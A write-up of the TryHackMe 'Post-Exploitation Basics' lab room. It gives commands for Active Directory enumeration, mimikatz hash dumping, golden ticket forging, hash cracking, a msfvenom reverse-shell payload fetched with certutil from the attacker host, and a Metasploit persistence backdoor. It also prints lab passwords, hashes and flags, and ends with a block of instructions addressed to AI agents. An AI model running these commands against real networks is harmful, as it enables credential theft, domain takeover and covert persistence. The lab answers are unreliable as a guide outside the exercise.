# Post-Exploitation Basics

<div align="left"><figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FaFOVr0irtfikGFDbOSBy%2Fimage.png?alt=media&#x26;token=8ecee14a-1486-47b3-b9e4-9b3b4689fe7f" alt="" width="150"><figcaption></figcaption></figure></div>

This [room](https://tryhackme.com/r/room/postexploit) will cover all of the basics of post-exploitation; we'll talk everything from post-exploitation enumeration with powerview and bloodhound, dumping hashes and golden ticket attacks with mimikatz, basic information gathering using windows server tools and logs, and then we will wrap up this room talking about the basics of maintaining access with the persistence metaploit module and creating a backdoor into the machine to get an instant meterpreter shell if the system is ever shutdown or reset.

This room will be related to very real world applications and will most likely not help with any ctfs however this room will give you great starting knowledge of how to approach a network after you have gained a shell on a machine.

## Task 1 - Deploy machine <a href="#task-0-deploy-machine" id="task-0-deploy-machine"></a>

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FXLL4G5gRl1Yt8xoWNbsq%2Fimage.png?alt=media&#x26;token=7d9c3cb9-f02f-4291-94c5-a356953c6557" alt=""><figcaption></figcaption></figure>

🎯 Target IP: `10.10.33.104` | `10.10.167.87`

🖥️ `CONTROLLER\Administrator:P@$$W0rd`

Create a directory on the Desktop with the machine's name, and inside this directory, create another directory to store the materials and outputs needed to run the machine.

```
su
echo "10.10.33.104 win-server.thm" >> /etc/hosts

mkdir -p thm/win-server.thm
cd hm/win-server.thm
mkdir {nmap,content,exploits,scripts}
# At the end of the room
# To clean up the last line from the /etc/hosts file
sed -i '$ d' /etc/hosts
```

I'm using a personal KaliVM (eventually there's THM attacker box).

We can start clicking Start Machine and running THM vpn: `openvpn vpn_thm.ovpn` on Kali Machine.

Now, we can access to victim machine/room (windows server) via RDP or SSH into the machine. On KaliVM in addition to ssh, we've xfreerdp already installed.

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FMFUloMlLYbwNZluEGZbC%2Fimage.png?alt=media&#x26;token=29428c8c-0354-4c55-9a9f-b208e5194ff0" alt=""><figcaption></figcaption></figure>

### SSH/22

`ssh Administrator@win-server.thm`

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FNnKyPZJzM6a0l4tKN7Ti%2Fimage.png?alt=media&#x26;token=1ea4a44a-238a-40f7-a5af-246ab10e5464" alt=""><figcaption></figcaption></figure>

I did a quick local enumeration, but I'll opt to use RDP.

### RDP/3389

`xfreerdp /u:Administrator /v:10.10.33.104 +clipboard /dynamic-resolution`

and insert psw into prompt

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2F5Q7aoph6hpPWanzRBNc5%2Fimage.png?alt=media&#x26;token=7d9a82a2-5caf-47b7-b1ec-592d78d0b466" alt=""><figcaption></figcaption></figure>

## Task 2 - Enumeration w/ Powerview

Powerview is a powerful powershell script from powershell empire that can be used for enumerating a domain after you have already gained a shell in the system.

<div align="left"><figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FMfcXbcyxMDIer0PTfQq4%2Fimage.png?alt=media&#x26;token=8dd26dd3-0195-4533-976c-d446340e0a8d" alt="" width="144"><figcaption></figcaption></figure></div>

1\) Start Powershell with the -ep parameter to bypass Powershell execution policy which allows you to easily run scripts: `powershell -ep bypass`

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FmcbVIFU22dDSQpbpyAR2%2Fimage.png?alt=media&#x26;token=bd2b80ed-ca1f-41c9-beca-cca866c8eb01" alt=""><figcaption></figcaption></figure>

2\) Start PowerView: `. .\Downloads\PowerView.ps1`

3\) Enumerate the domain users: `Get-NetUser | select cn`

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2Fqk2c4a4mpOS2iF3C7oPM%2Fimage.png?alt=media&#x26;token=d828889a-f524-450e-b8b9-5a9dcc6162df" alt=""><figcaption></figcaption></figure>

4\) Enumerate the domain groups: `Get-NetGroup -GroupName *admin*`

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FUlqxDbKyjWh7ZVeaX7Kg%2Fimage.png?alt=media&#x26;token=2fecdada-e9a1-42b8-b5f0-1a2cde984985" alt=""><figcaption></figcaption></figure>

THM suggest us to utilize this really nice cheatsheet, that contains additional commands: <https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993>

Than, we can continue the local enumeration using following commands:

* checking local account privileges: `whoami /priv`

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FRSucDpmTAd8LwcSuajdu%2Fimage.png?alt=media&#x26;token=0f43de07-7990-4330-9ec3-97faea23c578" alt=""><figcaption></figcaption></figure>

* and local account groups: `whoami /groups`

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2F4cKvijqSDAstKtb8DMfX%2Fimage.png?alt=media&#x26;token=7aa64b91-b7a1-4b1a-a2eb-a4479018dfd9" alt=""><figcaption></figcaption></figure>

* getting local users: `net users`

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FTZkzGBxkpwaElUF0qPVE%2Fimage.png?alt=media&#x26;token=20197e21-f6ff-4352-8fee-6b6b1bc68fda" alt=""><figcaption></figcaption></figure>

* and specific info about one of them (eg. admin2):&#x20;

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FevN8PRcz6y4Yydx0QLCP%2Fimage.png?alt=media&#x26;token=3cf11226-8ca2-4d87-abfe-f9186c3c1795" alt=""><figcaption></figcaption></figure>

discovering that Admin2 appartains at Administrators group.

* checking local groups: `net localgroup` and retrieve info about one group: `net localgroup "Administrators"`

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FoWsveoqa2Xcm9WJu7QBM%2Fimage.png?alt=media&#x26;token=b094a244-511c-475f-a50a-4e4c95785fcb" alt=""><figcaption></figcaption></figure>

* Retrieve info about user groups: `Get-NetGroup -UserName Admin2` and all member regarding a specifc group: `Get-NetGroupMember -GroupName "Administrators"`

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FPU6AMEwdIdyqJOGTOqG4%2Fimage.png?alt=media&#x26;token=0d687133-928d-4fb1-a8cb-ddaa69c09436" alt=""><figcaption></figcaption></figure>

* Obtaining info about DC (forest, SID, Policy and more): `Get-NetDomain` `Get-DomainSID` `Get-DomainPolicy` `Get-NetDomainController`

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FgWz3FZpo4PgA9jUogIlj%2Fimage.png?alt=media&#x26;token=52d2f3dc-3ded-4f05-a3eb-bc931cd4da33" alt=""><figcaption></figcaption></figure>

* Obtaining info about GPOs: `Get-NetGPO`

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2F6aoCw5HOPPepJemz06E7%2Fimage.png?alt=media&#x26;token=6ad7872f-f77d-4aaa-a70f-097a63fafe91" alt=""><figcaption></figcaption></figure>

### 2.1 - What is the shared folder that is not set by default?

Using `Invoke-ShareFinder` we can enumerate shared folders, one of the main attack vectors in the AD context

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FWa6zjXYEC93BbdHYlFXD%2Fimage.png?alt=media&#x26;token=4003866c-6a77-4f5d-8314-9d9cc08835cc" alt=""><figcaption></figcaption></figure>

The only one share folder not setted by defaul is Share.

{% hint style="info" %}
Share
{% endhint %}

### 2.2 - What operating system is running inside of the network besides Windows Server 2019?

`Get-NetComputer -fulldata | select cn, operatingsystem`

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2F5UrezNevuxl4oiSJU9S2%2Fimage.png?alt=media&#x26;token=d95b09e7-4367-452a-b09d-6499bfb8d20c" alt=""><figcaption></figcaption></figure>

Eventually, we can check computers into the AD current domain: `Get-NetComputer` and computers active: `Get-NetComputer -Ping`

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FGKXBv46OHJZzOcQovxEg%2Fimage.png?alt=media&#x26;token=bbd33431-e921-415f-a1fe-384d1a832ba8" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Windows 10 Enterprise Evaluation
{% endhint %}

### 2.3 - I've hidden a flag inside of the users find it

As already seen in the previous enumeration, the flag is present when enumerating users: `Get-NetUser | Select cn, objectsid`

(objectsid and adspath info is not needed to solve the task, but is useful for enumeration)

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FDldoAdKgLy3skE4G7e7s%2Fimage.png?alt=media&#x26;token=fcbc8aad-2954-4812-8467-9bd3ba0829a3" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
POST{P0W3RV13W\_FTW}
{% endhint %}

## Task 3 - Enumeration w/ Bloodhound

<div align="left"><figure><img src="https://i.imgur.com/BAT2ZAH.png" alt="" width="188"><figcaption></figcaption></figure></div>

Bloodhound is a graphical interface that allows you to visually map out the network. This tool along with SharpHound which similar to PowerView takes the user, groups, trusts etc. of the network and collects them into .json files to be used inside of Bloodhound.

[BloodHound GitHub Repo - Legacy](https://github.com/SpecterOps/BloodHound-Legacy)

[SharpHound Documentation](https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound.html)

Well be focusing on how to collect the .json files and how to import them into Bloodhound.

SharpHound is already present into the machine.

### BloodHound Installation

Steps to do on attacker machine (Kali)

1\) `apt-get install bloodhound`   &#x20;

2\) `neo4j console`

3\) open browser and go to URL indicated by neo4j console (usually: <http://localhost:7474>)

insert default credentials -> neo4j:neo4j and click to connect.

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FFKxVRkXw5IuHzJZ5E5hK%2Fimage.png?alt=media&#x26;token=5306a709-ef24-4b88-9096-a8018f5f4053" alt=""><figcaption></figcaption></figure>

### Getting loot w/ SharpHound

Steps to do on victim machine

1\) `powershell -ep bypass` same as with PowerView

2\) `. .\Downloads\SharpHound.ps1`   &#x20;

3\) `Invoke-Bloodhound -CollectionMethod All -Domain CONTROLLER.local -ZipFileName loot.zip`   &#x20;

(In this task i've accessed to victim machine via SSH: `ssh Administrator@win-server.thm)`

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2Fss4h041zBMGnlAuM0GCP%2Fimage.png?alt=media&#x26;token=edc05256-8d92-48b9-9e62-37061002f9dd" alt=""><figcaption></figcaption></figure>

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FF9BsP98oXKQedng8Lw3I%2Fimage.png?alt=media&#x26;token=e91b5343-c125-44cc-802c-b6d52ee6c116" alt=""><figcaption></figcaption></figure>

4\) Transfer the loot.zip folder to your Attacker Machine

to transfer loot file we can use a pscp (scp), we can install it using: `sudo apt-get install putty-tools`

then, loot file is located at: C:\Users\Administrator\20250111095928\_loot.zip

(Remember to replace '\\' with '/')

pscp <Administrator@win-server.thm>:/Users/Administrator/20250111095928\_loot.zip .

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FDK0YCqekJGIm3aAMKRbh%2Fimage.png?alt=media&#x26;token=d794de02-7fcf-4bde-b308-5664195c2d35" alt=""><figcaption></figcaption></figure>

### Mapping the network w/ BloodHound -

1\) `bloodhound` Run this on your attacker machine not the victim machine

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FJDkgRmabN98rliqps2W3%2Fimage.png?alt=media&#x26;token=f79424cc-6d33-429f-b5a1-53f5e58cea9a" alt=""><figcaption></figcaption></figure>

2\) Sign In using the same credentials you set with Neo4j and import loot file clicking to Import Graph

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2F0uj757TDfo98zHsa8iUP%2Fimage.png?alt=media&#x26;token=7a2ba73a-64e8-41a6-a798-b7bfac259f56" alt=""><figcaption></figcaption></figure>

{% hint style="warning" %}
In my case SharpHound generated an archive not compatible with the version of BloodHound present, therefore I downloaded an updated version of SharpHound at the following link: <https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1>

I downloaded it on the attacking Kali machine: wget <https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1> and then transferred it to the Windows target.
{% endhint %}

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2Fs1EFKnKerluuj5sFmvJ8%2Fimage.png?alt=media&#x26;token=c9832b07-9280-4f82-b64f-aac178c8a9a1" alt=""><figcaption></figcaption></figure>

On the 'Analysis' tab we've pre-built queries to find quickly the best info, there is allows you to visualize in graphical form how to proceed with the exploitation:

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FlCVgSW8eZIRHzYVbuNQm%2Fimage.png?alt=media&#x26;token=8da9bd8b-0304-44db-972b-63de79bbaa06" alt=""><figcaption></figcaption></figure>

### 3.1 - What service is also a domain admin?

Using the query "Find all Domain Admins" we can see three domain admins:

* <SQLSERVICE@CONTROLLER.LOCAL>
* <ADMIN2@CONTROLLER.LOCAL>
* <ADMINISTRATOR@CONTROLLER.LOCAL>

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FkZCfO6AgWNsQcuZnL3tb%2Fimage.png?alt=media&#x26;token=dd89a124-65cf-42f4-a154-a059c6da6842" alt=""><figcaption></figcaption></figure>

the only one service that is also a domain admin is:&#x20;

{% hint style="info" %}
SQLSERVICE
{% endhint %}

### 3.2 - What two users are Kerberoastable?

Using pre-built query: "List all kerberoastable accounts" we can answer to the question:

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FYMX3qPDwZFdOCUOc7hdw%2Fimage.png?alt=media&#x26;token=a1a3520e-8783-416f-a46b-3c0bccbf7773" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
SQLSERVICE,KRBTGT
{% endhint %}

## Task 4 - Dumping hashes w/ mimikatz

Mimikatz is a very popular and powerful post-exploitation tool mainly used for dumping user credentials inside of a active directory network

We'll be focusing on dumping the NTLM hashes with mimikatz and then cracking those hashes using hashcat

<div align="left"><figure><img src="https://i.imgur.com/gCOtm0l.png" alt="" width="188"><figcaption></figcaption></figure></div>

### Dump Hashes w/ mimikatz -

1\) `cd Downloads && mimikatz.exe` this will cd into the directory that mimikatz is kept as well as run the mimikatz binary

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2Fl43xPttcME18YQvMa1WO%2Fimage.png?alt=media&#x26;token=ec9f0f22-22a0-4cbf-b9cb-3f5b9dcadf2b" alt=""><figcaption></figcaption></figure>

2\) `privilege::debug` ensure that the output is "Privilege '20' ok" - This ensures that you're running mimikatz as an administrator; if you don't run mimikatz as an administrator, mimikatz will not run properly

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FdOj2u4xtkLRiR97j7uGp%2Fimage.png?alt=media&#x26;token=a74b8a27-dae0-40f5-9f69-23bbd265ab50" alt=""><figcaption></figcaption></figure>

3\) `lsadump::lsa /patch` Dump those hashes!

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FybLnWvbxpqhN6uHGqPlY%2Fimage.png?alt=media&#x26;token=27a4be93-50f5-4044-8de5-fc0d70aba807" alt=""><figcaption></figcaption></figure>

### Crack those hashes w/ hashcat﻿

Mimikatz has many uses along side being a great tool to dump hashes we will cover another one of those ways of using mimikatz in the next task by creating a golden ticket with mimikatz

### 4.1 - What is the Machine1 Password?

1\) Save the machine 1 hash into a file:

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2F6wc3ZYF5dqqAbNui7wbI%2Fimage.png?alt=media&#x26;token=4aa059be-4b94-4955-8b7f-5e2f8c371feb" alt=""><figcaption></figcaption></figure>

2\) `hashcat -m 1000 <hash> rockyou.txt`

or using John The Ripper:

`/usr/sbin/john --format=nt machine1.hash --wordlist=/usr/share/wordlists/rockyou.txt`

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FR3roNjCQIoGNuBnDZ2AU%2Fimage.png?alt=media&#x26;token=859dcef3-df3a-4609-91be-29c03ff4a226" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Password1
{% endhint %}

### 4.2 - What is the Machine2 Hash?<br>

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2Fzqi4NLfP3pJNStnePpyS%2Fimage.png?alt=media&#x26;token=07293beb-b3c4-45de-a719-19ec6505c6d7" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
c39f2beb3d2ec06a62cb887fb391dee0
{% endhint %}

## Task 5 - Golden Ticket Attacks w/ mimikatz

﻿﻿﻿﻿Again using the same tool as the previous task; however, this time we'll be using it to create a golden ticket.

We will first dump the hash and sid of the krbtgt user then create a golden ticket and use that golden ticket to open up a new command prompt allowing us to access any machine on the network.

<figure><img src="https://i.imgur.com/3Dnf16j.png" alt=""><figcaption></figcaption></figure>

### Dump the krbtgt Hash

﻿1) `cd downloads && mimikatz.exe`   &#x20;

2\) `privilege::debug` ensure this outputs \[privilege "20" ok]

﻿3) `lsadump::lsa /inject /name:krbtgt` This dumps the hash and security identifier of the Kerberos Ticket Granting Ticket account allowing you to create a golden ticket

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FucZw8JJWqR6ieMch5XXx%2Fimage.png?alt=media&#x26;token=449f8253-5813-4a9e-8ee6-8872bfbd0e3b" alt=""><figcaption></figcaption></figure>

### Create a Golden Ticket

﻿1) `kerberos::golden /user: /domain: /sid: /krbtgt: /id:`

* Administrator
* controller.local
* S-1-5-21-849420856-2351964222-986696166
* krbtgt
* 5508500012cc005cf7082a9a89ebdfdf
* 500

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FXVN0ZPn5gweQkSB9efW1%2Fimage.png?alt=media&#x26;token=62697965-7207-4597-8a7c-9dc9933114ad" alt=""><figcaption></figcaption></figure>

### Use the Golden Ticket to access other machine

1\) `misc::cmd` - This will open a new command prompt with elevated privileges to all machines

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2F8FMxftSaIu3cBu8SgbaQ%2Fimage.png?alt=media&#x26;token=8a4b90fe-8a11-4603-b107-8dafe79c1043" alt=""><figcaption></figcaption></figure>

2\) Access other Machines! - You will now have another command prompt with access to all other machines on the network

Unfortunately because tryhackme does not currently support networks you will be unable to access other machines however I encourage you to add other machines to this domain controller yourself and try out these attacks

## Task 6 - Enumeration w/ Server Manager

Because servers are hardly ever logged on unless its for maintenance this gives you an easy way for enumeration only using the built in windows features such as the server manager. If you already have domain admin you have a lot of access to the server manager in order to change trusts, add or remove users, look at groups, this can be an entry point to find other users with other sensitive information on their machines or find other users on the domain network with access to other networks in order to pivot to another network and continue your testing.

The only way to access the server manager is to rdp into the server and access the server over an rdp connection

We'll only be going over the basics such as looking at users, groups, and trusts however there are a lot of other mischief that you can get your hands on in terms of enumerating with the server manager

This can also be a way of easily identifying what kind of firewall the network is using if you have not already enumerated it.

### Enumeration w/ Server Manager

This is what Windows Server Manager will look when you first open it up the main tabs that will be most interesting are the tools and manage tabs the tools tab is where you will find most of your information such as users, groups, trusts, computers. The manage tab will allow you to add roles and features however this will probably get picked up by a systems admin relatively quick.

Dont worry about the AD CS, AD DS, DNS, or File and Storage Services these are setup for exploitation of the active directory and dont have much use for post-exploitation

![](https://i.imgur.com/xk3fAdg.png)

Navigate to the tools tab and select the Active Directory Users and Computers

<figure><img src="https://i.imgur.com/LbWxEF5.png" alt=""><figcaption></figcaption></figure>

This will pull up a list of all users on the domain as well as some other useful tabs to use such as groups and computers

Some sys admins dont realize that you as an attacker can see the descriptions of user accounts so they may set the service accounts passwords inside of the description look into the description and find what the SQL Service password is.

### 6.1 - What tool allows to view the event logs?

{% hint style="info" %}
Event Viewer
{% endhint %}

### 6.2 - What is the SQL Service password?

As anticipated, into AD Users and Computers in the SQL Service Properties there's psw in cleartext&#x20;

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2Fta8wdtmwxdTqArGJZyaa%2Fimage.png?alt=media&#x26;token=a27477f5-d773-41be-a766-ee594f0a95ce" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
MYpassword123#
{% endhint %}

## Task 7 - Maintaining Access

﻿There are a quite a few ways to maintain access on a machine or network we will be covering a fairly simple way of maintaining access by first setting up a meterpreter shell and then using the persistence metasploit module allowing us to create a backdoor service in the system that will give us an instant meterpreter shell if the machine is ever shutdown or reset.

There are also other ways of maintaining access such as advanced backdoors and rootkits however those are out of scope for this room.

This will require a little more manual setup than the other tasks so it is recommended to have previous knowledge of msfvenom and metasploit.

### Generating a Payload w/ msfvenom﻿

1\) `msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe -o shell.exe` this will generate a basic windows meterpreter reverse tcp shell

LHOST (IP of Attacker machine - tun0) -> `10.21.31.235`

LPORT (one open port on Attacker machine, we can an highest port and eventually check it using netstat) -> `1339`

`msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=1339 -f exe -o shell.exe`

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FhsmsYl716YDCGOhFjdMD%2Fimage.png?alt=media&#x26;token=2a2cd35f-2d94-48b8-be6b-a416e2228192" alt=""><figcaption></figcaption></figure>

2\) Transfer the payload from your attacker machine to the target machine:

Run a python web server: `python3 -m http.server 4455`

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FnllGmhs9mv1R4rMxuVpu%2Fimage.png?alt=media&#x26;token=19f6e304-d655-4b15-bc40-869bd876f22c" alt=""><figcaption></figcaption></figure>

Download it on windows machine: `certutil.exe -urlcache -f http://10.21.31.235:4455/shell.exe shell.exe`

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FLPCVg4AB04s6Q95nwo11%2Fimage.png?alt=media&#x26;token=741d1a39-347e-4e6a-bf81-b5c913dc4ca9" alt=""><figcaption></figcaption></figure>

3\) `use exploit/multi/handler` - or `netcat` listner this will create a listener on the port that you set it on.

4\) Configure our payload to be a windows meterpreter shell: `set payload windows/meterpreter/reverse_tcp`

5\) After setting your THM IP address as your "LHOST", start the listener with `run`

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FcbXD3MlBH5sAVO0t2PTy%2Fimage.png?alt=media&#x26;token=003dd0f2-b82f-4614-8219-71b9be810cef" alt=""><figcaption></figcaption></figure>

6\)  Executing the binary on the windows machine will give you a meterpreter shell back on your host - let's return to that: `shell.exe`

7\) Verify that we've got a meterpreter shell, where we will then `background` it to run the persistence module.

### Run the Persistence Module

1\) `use exploit/windows/local/persistence` this module will send a payload every 10 seconds in default however you can set this time to anything you want

2\) `set session 1` set the session to the session that we backgrounded in meterpreter (you can use the `sessions` command in metasploit to list the active sessions)

If the system is shut down or reset for whatever reason you will lose your meterpreter session however by using the persistence module you create a backdoor into the system which you can access at any time using the metasploit multi handler and setting the payload to `windows/meterpreter/reverse_tcp` allowing you to send another meterpreter payload to the machine and open up a new meterpreter session.

Here you can see the session die however the second we run the handler again we get a meterpreter shell back thanks to the persistence service.

There are other ways of maintaining access such as adding users and rootkits however I will leave you to do your own research and labs on those topics.

## Resources

* <https://blog.harmj0y.net/>
* <https://adsecurity.org/?page_id=1821>
* <https://metasploit.help.rapid7.com/docs/about-post-exploitation><br>
* <http://www.pentest-standard.org/index.php/Post_Exploitation>
* <https://offsec.red/mimikatz-cheat-sheet/>
* <https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993>

### Tools Used

* <https://github.com/gentilkiwi/mimikatz>
* <https://github.com/BloodHoundAD/BloodHound/blob/master/Ingestors/SharpHound.ps1>
* <https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://dev-angelist.gitbook.io/writeups-and-walkthroughs/thm/post-exploitation-basics.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
